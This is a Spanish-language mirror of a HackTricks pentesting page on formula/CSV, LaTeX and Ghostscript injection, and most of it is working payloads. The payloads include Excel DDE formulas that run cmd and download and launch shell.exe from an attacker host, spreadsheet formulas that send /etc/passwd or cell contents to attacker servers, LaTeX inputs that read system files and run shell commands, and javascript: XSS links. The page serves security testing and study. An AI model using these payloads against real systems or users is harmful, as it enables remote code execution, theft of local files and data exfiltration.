mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
218 lines
12 KiB
Markdown
218 lines
12 KiB
Markdown
# Inyección de Fórmulas/CSV/Doc/LaTeX/GhostScript
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**Grupo de Seguridad Try Hard**
|
|
|
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
|
|
***
|
|
|
|
## Inyección de Fórmulas
|
|
|
|
### Información
|
|
|
|
Si tu **entrada** se está **reflejando** dentro de archivos **CSV** (o cualquier otro archivo que probablemente se abrirá en **Excel**), es posible que puedas insertar **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de cálculo de Excel.
|
|
|
|
{% hint style="danger" %}
|
|
Hoy en día, **Excel alertará** (varias veces) al **usuario cuando algo se carga desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para la carga final.
|
|
{% endhint %}
|
|
|
|
### [Lista de palabras](https://github.com/payloadbox/csv-injection-payloads)
|
|
```
|
|
DDE ("cmd";"/C calc";"!A0")A0
|
|
@SUM(1+9)*cmd|' /C calc'!A0
|
|
=10+20+cmd|' /C calc'!A0
|
|
=cmd|' /C notepad'!'A1'
|
|
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
|
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
|
```
|
|
### Hipervínculo
|
|
|
|
**El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).**
|
|
|
|
El siguiente ejemplo fue tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
|
|
|
Imagina una brecha de seguridad en un sistema de Gestión de Registros de Estudiantes que es explotada a través de un ataque de inyección de CSV. La intención principal del atacante es comprometer el sistema utilizado por los profesores para gestionar los detalles de los estudiantes. El método implica que el atacante inyecte un payload malicioso en la aplicación, específicamente ingresando fórmulas dañinas en campos destinados a los detalles de los estudiantes. El ataque se desarrolla de la siguiente manera:
|
|
|
|
1. **Inyección de Payload Malicioso:**
|
|
* El atacante envía un formulario de detalles de estudiante pero incluye una fórmula comúnmente utilizada en hojas de cálculo (por ejemplo, `=HYPERLINK("<enlace_malicioso>","Haz clic aquí")`).
|
|
* Esta fórmula está diseñada para crear un hipervínculo, pero apunta a un servidor malicioso controlado por el atacante.
|
|
2. **Exportación de Datos Comprometidos:**
|
|
* Los profesores, sin ser conscientes del compromiso, utilizan la funcionalidad de la aplicación para exportar los datos a un archivo CSV.
|
|
* Cuando se abre el archivo CSV, todavía contiene el payload malicioso. Este payload aparece como un hipervínculo clickeable en la hoja de cálculo.
|
|
3. **Desencadenando el Ataque:**
|
|
* Un profesor hace clic en el hipervínculo, creyendo que es una parte legítima de los detalles del estudiante.
|
|
* Al hacer clic, los datos sensibles (potencialmente incluyendo detalles de la hoja de cálculo o de la computadora del profesor) son transmitidos al servidor del atacante.
|
|
4. **Registrando los Datos:**
|
|
* El servidor del atacante recibe y registra los datos sensibles enviados desde la computadora del profesor.
|
|
* El atacante puede entonces utilizar estos datos para varios propósitos maliciosos, comprometiendo aún más la privacidad y seguridad de los estudiantes y la institución.
|
|
|
|
### RCE
|
|
|
|
**Consulta el** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **para más detalles.**
|
|
|
|
En configuraciones específicas o versiones antiguas de Excel, una característica llamada Intercambio Dinámico de Datos (DDE) puede ser explotada para ejecutar comandos arbitrarios. Para aprovechar esto, los siguientes ajustes deben estar habilitados:
|
|
|
|
* Navega a Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo, y habilita **Lanzamiento del Servidor de Intercambio Dinámico de Datos**.
|
|
|
|
Cuando se abre una hoja de cálculo con el payload malicioso (y si el usuario acepta las advertencias), el payload es ejecutado. Por ejemplo, para abrir la aplicación de calculadora, el payload sería:
|
|
```markdown
|
|
`=cmd|' /C calc'!xxx`
|
|
```
|
|
Se pueden ejecutar también comandos adicionales, como descargar y ejecutar un archivo usando PowerShell:
|
|
```bash
|
|
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
|
```
|
|
### Inclusión Local de Archivos (LFI) en LibreOffice Calc
|
|
|
|
LibreOffice Calc se puede utilizar para leer archivos locales y exfiltrar datos. Aquí hay algunos métodos:
|
|
|
|
* Leer la primera línea del archivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
|
* Exfiltrar los datos leídos a un servidor controlado por un atacante: `=WEBSERVICE(CONCATENATE("http://<IP del atacante>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
|
* Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://<IP del atacante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
|
* Exfiltración DNS (enviar datos leídos como consultas DNS a un servidor DNS controlado por un atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<dominio del atacante>"))`
|
|
|
|
### Google Sheets para Exfiltración de Datos Out-of-Band (OOB)
|
|
|
|
Google Sheets ofrece funciones que pueden ser explotadas para la exfiltración de datos OOB:
|
|
|
|
* **CONCATENATE**: Une cadenas juntas - `=CONCATENATE(A2:E2)`
|
|
* **IMPORTXML**: Importa datos de tipos de datos estructurados - `=IMPORTXML(CONCAT("http://<IP del atacante:Puerto>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
|
* **IMPORTFEED**: Importa fuentes RSS o ATOM - `=IMPORTFEED(CONCAT("http://<IP del atacante:Puerto>//123.txt?v=", CONCATENATE(A2:E2)))`
|
|
* **IMPORTHTML**: Importa datos de tablas HTML o listas - `=IMPORTHTML (CONCAT("http://<IP del atacante:Puerto>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
|
* **IMPORTRANGE**: Importa un rango de celdas de otra hoja de cálculo - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_de_Hoja]", "hoja1!A2:E2")`
|
|
* **IMAGE**: Inserta una imagen en una celda - `=IMAGE("https://<IP del atacante:Puerto>/images/srpr/logo3w.png")`
|
|
|
|
## Inyección de LaTeX
|
|
|
|
Por lo general, los servidores que se encuentran en internet y que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
|
|
Este programa utiliza 3 atributos principales para permitir o no la ejecución de comandos:
|
|
|
|
* **`--no-shell-escape`**: **Deshabilita** la construcción `\write18{comando}`, incluso si está habilitada en el archivo texmf.cnf.
|
|
* **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (\*\*En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`).
|
|
* **`--shell-escape`**: **Habilita** la construcción `\write18{comando}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está deshabilitada por razones de seguridad.
|
|
|
|
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante usar `--shell-restricted`.
|
|
|
|
### Leer archivo <a href="#read-file" id="read-file"></a>
|
|
|
|
Es posible que necesites ajustar la inyección con envolturas como \[ o $.
|
|
```bash
|
|
\input{/etc/passwd}
|
|
\include{password} # load .tex file
|
|
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
|
\usepackage{verbatim}
|
|
\verbatiminput{/etc/passwd}
|
|
```
|
|
#### Leer archivo de una sola línea
|
|
```bash
|
|
\newread\file
|
|
\openin\file=/etc/issue
|
|
\read\file to\line
|
|
\text{\line}
|
|
\closein\file
|
|
```
|
|
#### Leer archivo con múltiples líneas
|
|
```bash
|
|
\newread\file
|
|
\openin\file=/etc/passwd
|
|
\loop\unless\ifeof\file
|
|
\read\file to\fileline
|
|
\text{\fileline}
|
|
\repeat
|
|
\closein\file
|
|
```
|
|
### Escribir archivo <a href="#write-file" id="write-file"></a>
|
|
```bash
|
|
\newwrite\outfile
|
|
\openout\outfile=cmd.tex
|
|
\write\outfile{Hello-world}
|
|
\closeout\outfile
|
|
```
|
|
### Ejecución de comandos <a href="#command-execution" id="command-execution"></a>
|
|
|
|
La entrada del comando se redirigirá a stdin, utilice un archivo temporal para obtenerla.
|
|
```bash
|
|
\immediate\write18{env > output}
|
|
\input{output}
|
|
|
|
\input{|"/bin/hostname"}
|
|
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
|
|
|
# allowed mpost command RCE
|
|
\documentclass{article}\begin{document}
|
|
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
|
\end{document}
|
|
|
|
# If mpost is not allowed there are other commands you might be able to execute
|
|
## Just get the version
|
|
\input{|"bibtex8 --version > /tmp/b.tex"}
|
|
## Search the file pdfetex.ini
|
|
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
|
## Get env var value
|
|
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
|
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
|
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
|
```
|
|
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres no deseados.
|
|
```bash
|
|
\immediate\write18{env | base64 > test.tex}
|
|
\input{text.tex}
|
|
```
|
|
|
|
```bash
|
|
\input|ls|base4
|
|
\input{|"/bin/hostname"}
|
|
```
|
|
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
|
|
|
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|
```bash
|
|
\url{javascript:alert(1)}
|
|
\href{javascript:alert(1)}{placeholder}
|
|
```
|
|
## Inyección de Ghostscript
|
|
|
|
**Verificar** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
|
|
|
## Referencias
|
|
|
|
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
|
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
|
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
|
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
|
|
|
**Grupo de Seguridad Try Hard**
|
|
|
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|